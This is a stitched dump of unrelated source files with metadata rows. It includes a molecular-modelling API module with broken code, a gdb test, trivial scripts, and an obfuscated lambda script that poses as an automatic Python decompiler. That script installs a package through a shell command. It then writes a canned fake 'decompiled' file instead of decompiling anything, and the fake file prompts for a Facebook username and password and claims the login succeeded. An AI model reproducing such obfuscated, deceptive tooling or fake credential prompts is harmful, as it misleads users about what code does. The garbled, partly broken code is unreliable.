| 0.118023
| 0.043675
| 0.033105
| 0.02509
| 0.905912
| 0.888024
| 0.865722
| 0.842026
| 0.836566
| 0.81287
| 0
| 0.015503
| 0.282948
| 14,303
| 333
| 157
| 42.951952
| 0.823908
| 0.373069
| 0
| 0.689266
| 1
| 0.016949
| 0.222384
| 0.04535
| 0
| 0
| 0
| 0
| 0
| 1
| 0.039548
| false
| 0
| 0.022599
| 0
| 0.118644
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
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| 0
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| null | 0
| 0
| 0
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| 0
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| 0
| 0
|
0
| 7
|
4c37fa3753d5c940b99be9b2e32c378d8380515a
| 18,390
|
py
|
Python
|
molsysmt/forms/classes/attic/api_openexplorer_Explorer.py
|
uibcdf/MolSysMT
|
9866a6fb090df9fff36af113a45164da4b674c09
|
[
"MIT"
] | 3
|
2020-06-02T03:55:52.000Z
|
2022-03-21T04:43:52.000Z
|
molsysmt/forms/classes/attic/api_openexplorer_Explorer.py
|
uibcdf/MolSysMT
|
9866a6fb090df9fff36af113a45164da4b674c09
|
[
"MIT"
] | 28
|
2020-06-24T00:55:53.000Z
|
2021-07-16T22:09:19.000Z
|
molsysmt/forms/classes/attic/api_openexplorer_Explorer.py
|
uibcdf/MolSysMT
|
9866a6fb090df9fff36af113a45164da4b674c09
|
[
"MIT"
] | 1
|
2021-06-17T18:55:25.000Z
|
2021-06-17T18:55:25.000Z
|
from os.path import basename as _basename
from molsysmt._private_tools.exceptions import *
import simtk.unit as unit
from molsysmt.forms.common_gets import *
import numpy as np
from openexplorer import Explorer as _openexplorer_Explorer
form_name=_basename(__file__).split('.')[0].replace('api_','').replace('_','.')
is_form={
_openexplorer_Explorer : form_name
}
info=["",""]
with_topology=True
with_coordinates=True
with_box=True
with_parameters=True
## Methods
def to_openmm_Topology(item, atom_indices='all', frame_indices='all',
topology_item=None, trajectory_item=None, coordinates_item=None, box_item=None):
from .api_openmm_Topology import extract as extract_openmm_Topology
tmp_item = item.topology
tmp_item = extract_openmm_Topology(tmp_item, atom_indices=atom_indices, frame_indices=frame_indices)
return item.topology
def to_openmm_Context(item, atom_indices='all', frame_indices='all',
topology_item=None, trajectory_item=None, coordinates_item=None, box_item=None):
return item.context
def to_molsysmt_Topology(item, atom_indices='all', frame_indices='all',
topology_item=None, trajectory_item=None, coordinates_item=None, box_item=None):
from molsysmt.native.io.topology.classes import from_openexplorer_Explorer as molsysmt_Topology_from_openexplorer_Explorer
return molsysmt_Topology_from_openexplorer_Explorer(item, atom_indices=atom_indices)
def to_molsysmt_Trajectory(item, atom_indices='all', frame_indices='all',
topology_item=None, trajectory_item=None, coordinates_item=None, box_item=None):
from molsysmt.native.io.trajectory.classes import from_openexplorer_Explorer as molsysmt_Trajectory_from_openexplorer_Explorer
return molsysmt_Trajectory_from_openexplorer_Explorer(item, atom_indices=atom_indices)
def to_molsysmt_MolSys(item, atom_indices='all', frame_indices='all',
topology_item=None, trajectory_item=None, coordinates_item=None, box_item=None):
from molsysmt.native.io.molsys.classes import from_openexplorer_Explorer as molsysmt_System_from_openexplorer_Explorer
return molsysmt_System_from_openexplorer_Explorer(item, atom_indices=atom_indices)
def to_pdb(item, atom_indices='all', frame_indices='all',
topology_item=None, trajectory_item=None, coordinates_item=None, box_item=None,
output_filename=None):
from io import StringIO
from simtk.openmm.app import PDBFile
#from simtk.openmm.version import short_version
from molsysmt import __version__ as msm_version
from simtk.openmm import Platform # the openmm version is taken from this module (see: simtk/openmm/app/pdbfile.py)
tmp_io = StringIO()
positions = get_coordinates_from_system(item)[0]
PDBFile.writeFile(item.topology, positions, tmp_io, keepIds=True)
openmm_version = Platform.getOpenMMVersion()
filedata = filedata.replace('WITH OPENMM '+openmm_version, 'WITH OPENMM '+openmm_version+' BY MOLSYSMT '+msm_version)
tmp_io.close()
del(tmp_io)
if output_filename=='.pdb':
return filedata
else:
with open(output_filename, 'w') as file:
file.write(filedata)
pass
def view_with_NGLView(item, atom_indices='all', frame_indices='all',
topology_item=None, trajectory_item=None, coordinates_item=None, box_item=None):
from molsysmt.forms.classes.api_molsysmt_MolSys import to_NGLView as molsysmt_MolSys_to_NGLView
tmp_item = to_molsysmt_MolSys(item, atom_indices=atom_indices, frame_indices=frame_indices)
return molsysmt_MolSys_view_with_NGLView(item)
def extract(item, atom_indices='all', frame_indices='all'):
raise NotImplementedError
def copy(item):
return item.replicate()
def select_with_MDTraj(item, selection):
raise NotImplementedError
def select_with_MolSysMT(item, selection):
from .api_molsysmt_Topology import select_with_MolSysMT as select_molsysmt_Topology_with_MolSysMT
tmp_item = to_molsysmt_Topology(item)
return select_molsysmt_Topology_with_MolSysMT(tmp_item, selection)
def merge_two_items(item1, item2):
raise NotImplementedError
##### Get
def get_atom_id_from_atom(item, indices='all', frame_indices='all'):
from molsysmt.forms.classes.api_openmm_Topology import get_atom_id_from_atom as _get
tmp_item = to_openmm_Topology(item)
return _get(tmp_item, indices=indices, frame_indices=frame_indices)
def get_atom_name_from_atom(item, indices='all', frame_indices='all'):
from molsysmt.forms.classes.api_openmm_Topology import get_atom_name_from_atom as _get
tmp_item = to_openmm_Topology(item)
return _get(tmp_item, indices=indices, frame_indices=frame_indices)
def get_atom_type_from_atom(item, indices='all', frame_indices='all'):
from molsysmt.forms.classes.api_openmm_Topology import get_atom_type_from_atom as _get
tmp_item = to_openmm_Topology(item)
return _get(tmp_item, indices=indices, frame_indices=frame_indices)
def get_group_index_from_atom (item, indices='all', frame_indices='all'):
from molsysmt.forms.classes.api_openmm_Topology import get_group_index_from_atom as _get
tmp_item = to_openmm_Topology(item)
return _get(tmp_item, indices=indices, frame_indices=frame_indices)
def get_component_index_from_atom (item, indices='all', frame_indices='all'):
from molsysmt.forms.classes.api_openmm_Topology import get_component_index_from_atom as _get
tmp_item = to_openmm_Topology(item)
return _get(tmp_item, indices=indices, frame_indices=frame_indices)
def get_chain_index_from_atom (item, indices='all', frame_indices='all'):
from molsysmt.forms.classes.api_openmm_Topology import get_chain_index_from_atom as _get
tmp_item = to_openmm_Topology(item)
return _get(tmp_item, indices=indices, frame_indices=frame_indices)
def get_molecule_index_from_atom (item, indices='all', frame_indices='all'):
from molsysmt.forms.classes.api_openmm_Topology import get_molecule_index_from_atom as _get
tmp_item = to_openmm_Topology(item)
return _get(tmp_item, indices=indices, frame_indices=frame_indices)
def get_entity_index_from_atom (item, indices='all', frame_indices='all'):
from molsysmt.forms.classes.api_openmm_Topology import get_entity_index_from_atom as _get
tmp_item = to_openmm_Topology(item)
return _get(tmp_item, indices=indices, frame_indices=frame_indices)
def get_inner_bonded_atoms_from_atom (item, indices='all', frame_indices='all'):
from molsysmt.forms.classes.api_openmm_Topology import get_inner_bonded_atoms_from_atom as _get
tmp_item = to_openmm_Topology(item)
return _get(tmp_item, indices=indices, frame_indices=frame_indices)
def get_n_inner_bonds_from_atom (item, indices='all', frame_indices='all'):
from molsysmt.forms.classes.api_openmm_Topology import get_n_inner_bonds_from_atom as _get
tmp_item = to_openmm_Topology(item)
return _get(tmp_item, indices=indices, frame_indices=frame_indices)
def get_coordinates_from_atom(item, indices='all', frame_indices='all'):
from molsysmt.forms.classes.api_openmm_Context import get_coordinates_from_atom as _get
tmp_item = to_openmm_Context(item)
return _get(tmp_item, indices=indices, frame_indices=frame_indices)
## group
def get_group_id_from_group(item, indices='all', frame_indices='all'):
from molsysmt.forms.classes.api_openmm_Topology import get_group_id_from_group as _get
tmp_item = to_openmm_Topology(item)
return _get(tmp_item, indices=indices, frame_indices=frame_indices)
def get_group_name_from_group(item, indices='all', frame_indices='all'):
from molsysmt.forms.classes.api_openmm_Topology import get_group_name_from_group as _get
tmp_item = to_openmm_Topology(item)
return _get(tmp_item, indices=indices, frame_indices=frame_indices)
def get_group_type_from_group(item, indices='all', frame_indices='all'):
from molsysmt.forms.classes.api_openmm_Topology import get_group_type_from_group as _get
tmp_item = to_openmm_Topology(item)
return _get(tmp_item, indices=indices, frame_indices=frame_indices)
## component
def get_component_name_from_component (item, indices='all', frame_indices='all'):
from molsysmt.forms.classes.api_openmm_Topology import get_component_name_from_component as _get
tmp_item = to_openmm_Topology(item)
return _get(tmp_item, indices=indices, frame_indices=frame_indices)
def get_component_id_from_component (item, indices='all', frame_indices='all'):
from molsysmt.forms.classes.api_openmm_Topology import get_component_id_from_component as _get
tmp_item = to_openmm_Topology(item)
return _get(tmp_item, indices=indices, frame_indices=frame_indices)
def get_component_type_from_component (item, indices='all', frame_indices='all'):
from molsysmt.forms.classes.api_openmm_Topology import get_component_type_from_component as _get
tmp_item = to_openmm_Topology(item)
return _get(tmp_item, indices=indices, frame_indices=frame_indices)
## molecule
def get_molecule_id_from_molecule (item, indices='all', frame_indices='all'):
from molsysmt.forms.classes.api_openmm_Topology import get_molecule_id_from_molecule as _get
tmp_item = to_openmm_Topology(item)
return _get(tmp_item, indices=indices, frame_indices=frame_indices)
def get_molecule_name_from_molecule (item, indices='all', frame_indices='all'):
from molsysmt.forms.classes.api_openmm_Topology import get_molecule_name_from_molecule as _get
tmp_item = to_openmm_Topology(item)
return _get(tmp_item, indices=indices, frame_indices=frame_indices)
def get_molecule_type_from_molecule (item, indices='all', frame_indices='all'):
from molsysmt.forms.classes.api_openmm_Topology import get_molecule_type_from_molecule as _get
tmp_item = to_openmm_Topology(item)
return _get(tmp_item, indices=indices, frame_indices=frame_indices)
## chain
def get_chain_name_from_chain (item, indices='all', frame_indices='all'):
from molsysmt.forms.classes.api_openmm_Topology import get_chain_name_from_chain as _get
tmp_item = to_openmm_Topology(item)
return _get(tmp_item, indices=indices, frame_indices=frame_indices)
def get_chain_id_from_chain (item, indices='all', frame_indices='all'):
from molsysmt.forms.classes.api_openmm_Topology import get_chain_id_from_chain as _get
tmp_item = to_openmm_Topology(item)
return _get(tmp_item, indices=indices, frame_indices=frame_indices)
def get_chain_type_from_chain (item, indices='all', frame_indices='all'):
from molsysmt.forms.classes.api_openmm_Topology import get_chain_type_from_chain as _get
tmp_item = to_openmm_Topology(item)
return _get(tmp_item, indices=indices, frame_indices=frame_indices)
## entity
def get_entity_id_from_entity (item, indices='all', frame_indices='all'):
from molsysmt.forms.classes.api_openmm_Topology import get_entity_id_from_entity as _get
tmp_item = to_openmm_Topology(item)
return _get(tmp_item, indices=indices, frame_indices=frame_indices)
def get_entity_name_from_entity (item, indices='all', frame_indices='all'):
from molsysmt.forms.classes.api_openmm_Topology import get_entity_name_from_entity as _get
tmp_item = to_openmm_Topology(item)
return _get(tmp_item, indices=indices, frame_indices=frame_indices)
def get_entity_type_from_entity (item, indices='all', frame_indices='all'):
from molsysmt.forms.classes.api_openmm_Topology import get_entity_type_from_entity as _get
tmp_item = to_openmm_Topology(item)
return _get(tmp_item, indices=indices, frame_indices=frame_indices)
## system
def get_n_atoms_from_system(item, indices='all', frame_indices='all'):
from molsysmt.forms.classes.api_openmm_Topology import get_n_atoms_from_system as _get
tmp_item = to_openmm_Topology(item)
return _get(tmp_item, indices=indices, frame_indices=frame_indices)
def get_n_groups_from_system(item, indices='all', frame_indices='all'):
from molsysmt.forms.classes.api_openmm_Topology import get_n_groups_from_system as _get
tmp_item = to_openmm_Topology(item)
return _get(tmp_item, indices=indices, frame_indices=frame_indices)
def get_n_components_from_system(item, indices='all', frame_indices='all'):
from molsysmt.forms.classes.api_openmm_Topology import get_n_components_from_system as _get
tmp_item = to_openmm_Topology(item)
return _get(tmp_item, indices=indices, frame_indices=frame_indices)
def get_n_chains_from_system(item, indices='all', frame_indices='all'):
from molsysmt.forms.classes.api_openmm_Topology import get_n_chains_from_system as _get
tmp_item = to_openmm_Topology(item)
return _get(tmp_item, indices=indices, frame_indices=frame_indices)
def get_n_molecules_from_system(item, indices='all', frame_indices='all'):
from molsysmt.forms.classes.api_openmm_Topology import get_n_molecules_from_system as _get
tmp_item = to_openmm_Topology(item)
return _get(tmp_item, indices=indices, frame_indices=frame_indices)
def get_n_entities_from_system(item, indices='all', frame_indices='all'):
from molsysmt.forms.classes.api_openmm_Topology import get_n_entities_from_system as _get
tmp_item = to_openmm_Topology(item)
return _get(tmp_item, indices=indices, frame_indices=frame_indices)
def get_n_bonds_from_system(item, indices='all', frame_indices='all'):
from molsysmt.forms.classes.api_openmm_Topology import get_n_bonds_from_system as _get
tmp_item = to_openmm_Topology(item)
return _get(tmp_item, indices=indices, frame_indices=frame_indices)
def get_coordinates_from_system(item, indices='all', frame_indices='all'):
from molsysmt.forms.classes.api_openmm_Context import get_coordinates_from_system as _get
tmp_item = to_openmm_Context(item)
return _get(tmp_item, indices=indices, frame_indices=frame_indices)
def get_box_from_system(item, indices='all', frame_indices='all'):
from molsysmt.forms.classes.api_openmm_Context import get_box_from_system as _get
tmp_item = to_openmm_Context(item)
return _get(tmp_item, indices=indices, frame_indices=frame_indices)
def get_box_shape_from_system(item, indices='all', frame_indices='all'):
from molsysmt.forms.classes.api_openmm_Context import get_box_shape_from_system as _get
tmp_item = to_openmm_Context(item)
return _get(tmp_item, indices=indices, frame_indices=frame_indices)
def get_box_lengths_from_system(item, indices='all', frame_indices='all'):
from molsysmt.forms.classes.api_openmm_Context import get_box_lengths_from_system as _get
tmp_item = to_openmm_Context(item)
return _get(tmp_item, indices=indices, frame_indices=frame_indices)
def get_box_angles_from_system(item, indices='all', frame_indices='all'):
from molsysmt.forms.classes.api_openmm_Context import get_box_angles_from_system as _get
tmp_item = to_openmm_Context(item)
return _get(tmp_item, indices=indices, frame_indices=frame_indices)
def get_time_from_system(item, indices='all', frame_indices='all'):
from molsysmt.forms.classes.api_openmm_Context import get_time_from_system as _get
tmp_item = to_openmm_Context(item)
return _get(tmp_item, indices=indices, frame_indices=frame_indices)
def get_step_from_system(item, indices='all', frame_indices='all'):
from molsysmt.forms.classes.api_openmm_Context import get_step_from_system as _get
tmp_item = to_openmm_Context(item)
return _get(tmp_item, indices=indices, frame_indices=frame_indices)
def get_n_frames_from_system(item, indices='all', frame_indices='all'):
if frame_indices is 'all':
return 1
else:
output = frame_indices.shape[0]
if output>1:
raise ValueError('The molecular system has a single frame')
return output
def get_bonded_atoms_from_system(item, indices='all', frame_indices='all'):
from molsysmt.forms.classes.api_openmm_Topology import get_bonded_atoms_from_system as _get
tmp_item = to_openmm_Topology(item)
return _get(tmp_item, indices=indices, frame_indices=frame_indices)
def get_form_from_system(item, indices='all', frame_indices='all'):
return form_name
def get_has_topology_from_system(item, indices='all', frame_indices='all'):
return with_topology
def get_has_parameters_from_system(item, indices='all', frame_indices='all'):
return with_parameters
def get_has_coordinates_from_system(item, indices='all', frame_indices='all'):
return with_coordinates
def get_has_box_from_system(item, indices='all', frame_indices='all'):
output = False
if with_box:
tmp_box = get_box_from_system(item, indices=indices, frame_indices=frame_indices)
if tmp_box[0] is not None:
output = True
return output
def get_has_bonds_from_system(item, indices='all', frame_indices='all'):
output = False
if with_topology:
if get_n_bonds_from_system(item, indices=indices, frame_indices=frame_indices):
output = True
return output
## bond
def get_bond_order_from_bond(item, indices='all', frame_indices='all'):
from molsysmt.forms.classes.api_openmm_Topology import get_bond_order_from_bond as _get
tmp_item = to_openmm_Topology(item)
return _get(tmp_item, indices=indices, frame_indices=frame_indices)
def get_bond_type_from_bond(item, indices='all', frame_indices='all'):
from molsysmt.forms.classes.api_openmm_Topology import get_bond_type_from_bond as _get
tmp_item = to_openmm_Topology(item)
return _get(tmp_item, indices=indices, frame_indices=frame_indices)
def get_atom_index_from_bond(item, indices='all', frame_indices='all'):
from molsysmt.forms.classes.api_openmm_Topology import get_atom_index_from_bond as _get
tmp_item = to_openmm_Topology(item)
return _get(tmp_item, indices=indices, frame_indices=frame_indices)
##### Set
def set_box_to_system(item, indices='all', frame_indices='all', value=None):
from molsysmt.forms.classes.api_openmm_Context import set_box_to_system as _set
return _set(item.context, indices=indices, frame_indices=frame_indices, value=value)
def set_coordinates_to_system(item, indices='all', frame_indices='all', value=None):
from molsysmt.forms.classes.api_openmm_Context import set_coordinates_to_system as _set
return _set(item.context, indices=indices, frame_indices=frame_indices, value=value)
| 40.957684
| 130
| 0.792115
| 2,698
| 18,390
| 4.992216
| 0.050037
| 0.145222
| 0.141065
| 0.099636
| 0.85901
| 0.814908
| 0.807855
| 0.78818
| 0.784988
| 0.772143
| 0
| 0.000497
| 0.12398
| 18,390
| 448
| 131
| 41.049107
| 0.835568
| 0.010386
| 0
| 0.380282
| 0
| 0
| 0.025153
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.228873
| false
| 0.003521
| 0.21831
| 0.021127
| 0.669014
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
4c3dfe7fd17126f95633595847954f7d4bcd103d
| 3,412
|
py
|
Python
|
Trash/aut.py
|
Alpha-Demon404/RE-14
|
b5b46a9f0eee218f2a642b615c77135c33c6f4ad
|
[
"MIT"
] | 39
|
2020-02-26T09:44:36.000Z
|
2022-03-23T00:18:25.000Z
|
Trash/aut.py
|
B4BY-DG/reverse-enginnering
|
b5b46a9f0eee218f2a642b615c77135c33c6f4ad
|
[
"MIT"
] | 15
|
2020-05-14T10:07:26.000Z
|
2022-01-06T02:55:32.000Z
|
Trash/aut.py
|
B4BY-DG/reverse-enginnering
|
b5b46a9f0eee218f2a642b615c77135c33c6f4ad
|
[
"MIT"
] | 41
|
2020-03-16T22:36:38.000Z
|
2022-03-17T14:47:19.000Z
|
(lambda __print, __g, __contextlib, __y: (lambda __mod: [[[[(lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: [[(os.system('clear'), (__print(logo), [[[(e.write(d), (e.close(), [(lambda __items, __after, __sentinel: __y(lambda __this: lambda: (lambda __i: [(__print(('\r\r# wait ' + o), end=' '), (sys.stdout.flush(), (time.sleep(3), __this())[1])[1])[1] for __g['o'] in [(__i)]][0] if __i is not __sentinel else __after())(next(__items, __sentinel)))())(iter(asu), lambda: (__print('\n# hasil dec: out.py'), (__print('# Selesai'), (time.sleep(0.6), None)[1])[1])[1], []) for __g['asu'] in [(['. ', '.. ', '... ', '. ', '.. ', '... '])]][0])[1])[1] for __g['e'] in [(open('out.py', 'w'))]][0] for __g['d'] in [((((((('# Decompile by Sumarr ID\n# Time decompile ' + times) + '\n# uncompyle6 version 3.7.1\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.8.0 (default, Dec 5 2019, 10:18:50)\n# [Clang 8.0.7 (https://android.googlesource.com/toolchain/clang b55f2d4ebfd35bf6\n# Embedded file name: ') + a) + '\n# Compiled at: 2020-06-27 20:27:04\nimport os,sys\n\na="HACK FACEBOOK TARGET"\ndef asu():\n print a\n _a=raw_input(\'[+] username: \')\n _b=raw_input(\'[+] password: \')\n print "[*] login sukses"\n os.sys.exit()\ndef kon():\n asu()\n\nkon()\n# okay decompiling ') + a) + '\n'))]][0] for __g['a'] in [(raw_input('# nama file: '))]][0])[1])[1] for __g['times'] in [(datetime.now().strftime('%H:%M:%S'))]][0] for __g['logo'] in [('[+]\xe2\x80\x94\xe2\x80\x94\xe2\x80\x94\xe2\x80\x94\xe2\x80\x94\xe2\x80\x94\xe2\x80\x94\xe2\x80\x94\xe2\x80\x94\xe2\x80\x94\xe2\x80\x94\xe2\x80\x94\xe2\x80\x94\xe2\x80\x94\xe2\x80\x94\xe2\x80\x94\xe2\x80\x94\xe2\x80\x94\xe2\x80\x94\xe2\x80\x94\xe2\x80\x94\xe2\x80\x94\xe2\x80\x94\xe2\x80\x94\xe2\x80\x94\xe2\x80\x94\xe2\x80\x94[+]\n| [+] AUTO DECOMPILE PYTHON [+] |\n| *** SEMUA JENIS *** |\n| |\n| author : Sumarr ID |\n| gitlab : gitlab.com/Sumarr-ID |\n[+]\xe2\x80\x94\xe2\x80\x94\xe2\x80\x94\xe2\x80\x94\xe2\x80\x94\xe2\x80\x94\xe2\x80\x94\xe2\x80\x94\xe2\x80\x94\xe2\x80\x94\xe2\x80\x94\xe2\x80\x94\xe2\x80\x94\xe2\x80\x94\xe2\x80\x94\xe2\x80\x94\xe2\x80\x94\xe2\x80\x94\xe2\x80\x94\xe2\x80\x94\xe2\x80\x94\xe2\x80\x94\xe2\x80\x94\xe2\x80\x94\xe2\x80\x94\xe2\x80\x94\xe2\x80\x94[+]')]][0])][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and ([True for __out[0] in [((__print('install uncompye6 nya dulu say'), (os.system('pip2 install uncompyle6'), lambda after: after())[1])[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((lambda __mod: [(lambda __after: __after()) for __g['decompile'] in [(__mod.decompile)]][0])(__import__('uncompyle6.main', __g, __g, ('decompile',), 0)))]][0]})())))([None]) for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['sys'] in [(__import__('sys', __g, __g))]][0] for __g['time'] in [(__import__('time', __g, __g))]][0] for __g['datetime'] in [(__mod.datetime)]][0])(__import__('datetime', __g, __g, ('datetime',), 0)))(__import__('__builtin__', level=0).__dict__['print'], globals(), __import__('contextlib', level=0), (lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))))
| 1,706
| 3,411
| 0.62544
| 566
| 3,412
| 3.418728
| 0.263251
| 0.167442
| 0.251163
| 0.322481
| 0.3323
| 0.306977
| 0.306977
| 0.306977
| 0.306977
| 0.306977
| 0
| 0.11811
| 0.106682
| 3,412
| 1
| 3,412
| 3,412
| 0.516732
| 0
| 0
| 0
| 0
| 4
| 0.490621
| 0.195193
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 1
| 1
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
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| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 1
| 1
|
0
| 11
|
d5c43315f242476f0e2e04a43a48d0ddbdcc2de4
| 285
|
py
|
Python
|
test.py
|
woobi4966/Git_GUI_Tutorial
|
017821172852f4eaf8616ec1aac88711c79f5787
|
[
"MIT"
] | null | null | null |
test.py
|
woobi4966/Git_GUI_Tutorial
|
017821172852f4eaf8616ec1aac88711c79f5787
|
[
"MIT"
] | null | null | null |
test.py
|
woobi4966/Git_GUI_Tutorial
|
017821172852f4eaf8616ec1aac88711c79f5787
|
[
"MIT"
] | null | null | null |
a = 1
b = 2
print("WHO AM I?????????????? XD")
print("I am Hello Branch.")
print("What are you doing??????????????????????????????????????????????")
print("WHO AM I?????????????? XD")
print("I am Hello Branch.")
print("What are you doing??????????????????????????????????????????????")
| 35.625
| 73
| 0.378947
| 34
| 285
| 3.176471
| 0.441176
| 0.148148
| 0.185185
| 0.203704
| 0.962963
| 0.962963
| 0.962963
| 0.962963
| 0.962963
| 0.962963
| 0
| 0.007813
| 0.101754
| 285
| 8
| 74
| 35.625
| 0.414063
| 0
| 0
| 0.75
| 0
| 0
| 0.748252
| 0.356643
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.75
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 13
|
d5cfbd30a15b20b74beb2ea92f0af65cf722fa33
| 191
|
py
|
Python
|
workouts/integration_examples/__init__.py
|
kachiann/QMCSoftware
|
0ed9da2f10b9ac0004c993c01392b4c86002954c
|
[
"Apache-2.0"
] | 1
|
2021-08-18T08:14:32.000Z
|
2021-08-18T08:14:32.000Z
|
workouts/integration_examples/__init__.py
|
kachiann/QMCSoftware
|
0ed9da2f10b9ac0004c993c01392b4c86002954c
|
[
"Apache-2.0"
] | null | null | null |
workouts/integration_examples/__init__.py
|
kachiann/QMCSoftware
|
0ed9da2f10b9ac0004c993c01392b4c86002954c
|
[
"Apache-2.0"
] | null | null | null |
from .asian_option_multi_level import asian_option_multi_level
from .asian_option_single_level import asian_option_single_level
from .keister import keister
from .pi_problem import pi_problem
| 47.75
| 64
| 0.900524
| 30
| 191
| 5.266667
| 0.333333
| 0.278481
| 0.189873
| 0.265823
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.078534
| 191
| 4
| 65
| 47.75
| 0.897727
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
d5de668f91281484ff915ba387669588d119174c
| 573
|
py
|
Python
|
src/test/reverse_continue_fork_subprocess.py
|
jalapenopuzzle/rr
|
6f8b3c73868d9fd3e6ac14a1322b92dbe9958807
|
[
"BSD-1-Clause"
] | 5,156
|
2015-01-01T06:10:28.000Z
|
2020-11-13T15:12:34.000Z
|
src/test/reverse_continue_fork_subprocess.py
|
jalapenopuzzle/rr
|
6f8b3c73868d9fd3e6ac14a1322b92dbe9958807
|
[
"BSD-1-Clause"
] | 1,214
|
2015-01-02T02:32:13.000Z
|
2020-11-09T04:36:26.000Z
|
src/test/reverse_continue_fork_subprocess.py
|
jalapenopuzzle/rr
|
6f8b3c73868d9fd3e6ac14a1322b92dbe9958807
|
[
"BSD-1-Clause"
] | 402
|
2015-01-13T22:54:32.000Z
|
2020-11-05T15:02:25.000Z
|
from util import *
import re
send_gdb('reverse-cont')
expect_gdb('stopped')
send_gdb('reverse-cont')
expect_gdb('stopped')
send_gdb('reverse-stepi')
expect_gdb('stopped')
send_gdb('reverse-cont')
expect_gdb('stopped')
send_gdb('stepi')
send_gdb('reverse-cont')
expect_gdb('stopped')
send_gdb('reverse-cont')
expect_gdb('stopped')
send_gdb('reverse-stepi')
expect_gdb('stopped')
send_gdb('reverse-cont')
expect_gdb('stopped')
send_gdb('stepi')
send_gdb('reverse-stepi')
send_gdb('reverse-stepi')
expect_gdb('stopped')
send_gdb('reverse-cont')
expect_gdb('stopped')
ok()
| 18.483871
| 25
| 0.755672
| 86
| 573
| 4.767442
| 0.139535
| 0.221951
| 0.37561
| 0.439024
| 0.941463
| 0.929268
| 0.929268
| 0.929268
| 0.929268
| 0.929268
| 0
| 0
| 0.059337
| 573
| 30
| 26
| 19.1
| 0.760668
| 0
| 0
| 0.884615
| 0
| 0
| 0.376963
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.076923
| 0
| 0.076923
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 11
|
d5e179ffc4416e3cd1d79b222936957cbc8a8550
| 122
|
py
|
Python
|
espaloma/graphs/__init__.py
|
jstaker7/espaloma
|
d80d280acd608dc04c93966afe15cc3cb74f65a8
|
[
"MIT"
] | null | null | null |
espaloma/graphs/__init__.py
|
jstaker7/espaloma
|
d80d280acd608dc04c93966afe15cc3cb74f65a8
|
[
"MIT"
] | null | null | null |
espaloma/graphs/__init__.py
|
jstaker7/espaloma
|
d80d280acd608dc04c93966afe15cc3cb74f65a8
|
[
"MIT"
] | null | null | null |
import espaloma.graphs
import espaloma.graphs.utils
from . import deploy
from espaloma.graphs.legacy_force_field import *
| 24.4
| 48
| 0.844262
| 17
| 122
| 5.941176
| 0.529412
| 0.415842
| 0.39604
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.098361
| 122
| 4
| 49
| 30.5
| 0.918182
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
d5f454ad2b68383aa020fda33a2a34d15d228059
| 15,783
|
py
|
Python
|
coremltools/converters/mil/mil/ops/tests/test_conv.py
|
tonybove-apple/coremltools
|
22a8877beec7bad136ba5612d5aacd8e323ecdfc
|
[
"BSD-3-Clause"
] | 2,740
|
2017-10-03T23:19:01.000Z
|
2022-03-30T15:16:39.000Z
|
coremltools/converters/mil/mil/ops/tests/test_conv.py
|
tonybove-apple/coremltools
|
22a8877beec7bad136ba5612d5aacd8e323ecdfc
|
[
"BSD-3-Clause"
] | 1,057
|
2017-10-05T22:47:01.000Z
|
2022-03-31T23:51:15.000Z
|
